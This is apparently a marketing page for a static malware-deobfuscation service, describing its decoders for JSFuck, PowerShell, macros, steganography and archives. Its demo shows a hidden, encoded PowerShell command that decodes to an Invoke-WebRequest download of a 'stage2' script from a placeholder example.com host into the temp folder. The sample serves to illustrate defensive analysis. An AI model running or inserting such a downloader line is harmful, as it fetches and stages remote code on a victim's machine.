Decode JSFuck: Recover the Original JavaScript Without Running It
Paste a bracket-only ([]()!+) payload into a JSFuck decoder and get readable JavaScript back without executing it, covering alert(), XSS payloads, and hybrid JSFireTruck stubs.
Static analysis for stage 1 interdiction
Fully automatic multi-layer malware analysis. Finally something fast enough for a live incident. Not a sandbox. No detonation, no queue.
Attackers stack Base64, XOR, compression, and string tricks to burn your time.
KlaroSkope peels back the layers automatically. Paste a sample, get the payload and detection rules. In seconds, not hours.
One free analysis. No signup needed.
p^o^w^e^r^s^h^e^l^l -nop -w hidden -enc JABzAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUA...powershell -nop -w hidden -enc JABzAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAL...$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAi...Invoke-WebRequest -Uri "https://example.com/stage2.txt" -OutFile "$env:TEMP\stage2.ps1"https://example.com/stage2.txtSample handling
Your sample, handled like evidence.
Parsed, not executed
Analysis method
Algorithmic analysis. Not AI guesswork.
Same input, same output
Capability index
Decodes techniques including Base64, XOR, RC4, GZIP, PowerShell EncodedCommand, JSFuck, obfuscator.io, VBA and XLM macros, and LSB steganography.
Scripts, PDFs, Office documents, images, SVG, extensions, emails, archives. Every analysis delivers actionable intelligence
130+ decoding techniques handle Base64, XOR, GZIP, PowerShell, esoteric JavaScript (JSFuck, JJEncode, AAEncode), and more. Recursive decoding through 20+ layers.
12 techniques: LSB encoding, EXIF injection, PNG chunk abuse, IDAT payloads, polyglot files, EOF appended data, alpha channel encoding. Extracted payloads auto-fed to deobfuscation.
Chrome (.crx) and Firefox (.xpi) analysis. V3 manifest parsing, permission risk scoring, JS deobfuscation, and stego extraction from extension assets.
Structure analysis, JavaScript extraction, embedded file detection, form field inspection, phishing kit attribution, and risk verdicts. Embedded images auto-scanned for steganography.
VBA macro extraction, OLE2 and OOXML parsing, embedded object detection, and payload analysis. Supports macro-enabled formats (.docm, .xlsm, .pptm), templates, and add-ins.
Phishing triage for .eml and .msg files. SPF, DKIM, and DMARC authentication checks, received-chain inspection, and recursive attachment analysis through the decoder pipeline.
ZIP, RAR, 7z, TAR, GZ, BZ2, XZ, and CAB extraction with common-password attempts and zip-bomb safeguards. Extracted files are routed to their matching analysis vector. A tar inside one compression layer, as in .tar.gz, and the control and data tars of a .deb are opened; other archives inside an archive are listed, not opened.
SVG is XML markup, not a picture. Inline scripts, external script references inside foreignObject, navigation attributes, data URIs, and base64 payloads are extracted from .svg and .svgz and routed to the decoder pipeline.
URLs, IPs, domains, file paths, registry keys, hashes. Pulled automatically from decoded output across all analysis vectors.
Your time goes to the threat, not its wrapper.
Paste scripts, upload images with hidden payloads, drop browser extensions, or submit Office documents, PDFs, SVG files, emails, and archives.
Script deobfuscation, steganography extraction, PDF threat analysis, Office macro analysis, SVG smuggling extraction, extension forensics, email and archive unpacking, IOC extraction, MITRE mapping. All automatic.
Export rules, grab IOCs, file the report. Back to threat hunting.
Chat models drift on deep chains. Agents that run code can peel layers, but slowly, differently each run, and with your sample on someone else's servers.
A chat model that transcribes each layer itself can be right 95% of the time and still fail the chain. Deflate, Base64, char codes, XOR with rolling key: stack 21 layers and the odds of a clean result fall to about a third.
Chat modelReads the text and predicts each layer. Drifts on deep chains and can invent intermediate layers that look real.
Agent running codePeels real layers by running code, one round trip at a time. Results vary between runs, and the sample goes to a third-party model.
KlaroSkopeDeterministic chain in seconds with a layer-by-layer audit trail. The sample is parsed, not run, and not sent to any AI provider.
Prediction errors compound with depth, and an agent's path can change from run to run. Deterministic decoding gives the same chain for the same input, so the report is reproducible evidence.
Read the full analysisDeep dives into script obfuscation techniques and how to defeat them
No signup. No credit card. Paste something ugly and watch it decode.
Try It FreeBuilt by a CISSP threat-detection engineer. Read why